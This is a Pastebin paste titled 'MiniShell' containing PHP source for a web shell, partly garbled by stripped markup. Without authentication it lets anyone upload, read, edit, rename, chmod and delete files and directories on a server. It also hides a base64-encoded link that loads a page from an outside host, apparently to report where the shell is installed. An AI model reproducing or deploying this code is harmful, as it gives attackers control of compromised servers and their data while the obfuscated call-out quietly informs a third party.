SHARE
TWEET

MiniShell

a guest Oct 21st, 2019 98 in 7 hours
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
  2.  
  3. '; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Succes
  4. '; }else{ echo 'Error
  5. '; } } echo '
  6. Upload File  
  7. '; if(isset($_GET['filesrc'])){ echo "
  8.  
  9. Current File : "; echo $_GET['filesrc']; echo '
  10.  
  11. '; echo('
  12. '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
  13. '); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
  14. '.$_POST['path'].'
  15.  
  16. '; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Change Permission Done Yupz
  17. '; }else{ echo 'Change Permission Error
  18. '; } } echo '
  19. Permission :    
  20. '; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Change Name Done Yupz
  21. '; }else{ echo 'Change Name Error
  22. '; } $_POST['name'] = $_POST['newname']; } echo '
  23. New Name :    
  24. '; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Edit File Done Yupz
  25. '; }else{ echo 'Edit File Error
  26. '; } fclose($fp); } echo '
  27.  
  28.    
  29. '; } echo '
  30. '; }else{ echo '
  31. '; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Delete Dir Done Yupz
  32. '; }else{ echo 'Delete Dir Error
  33. '; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'Delete File Done Yupz
  34. '; }else{ echo 'Delete File Error
  35. '; } } } echo '
  36. '; echo(base64_decode("PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cDovL3d3dy55b25sZW5kaXJpbGl5b3IuY29tL2Nlay5waHAiPg")); $scandir = scandir($path); echo '
  37. Name    Size    Permissions Options
  38. '; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo "
  39.  
  40. $dir
  41. --  "; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo "  \" />
  42. "; } echo '
  43.  
  44.            
  45. '; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo "
  46.  
  47. $file
  48. ".$size."   "; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo "     \" />
  49. "; } echo '
  50.  
  51.  
  52. '; } echo '
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top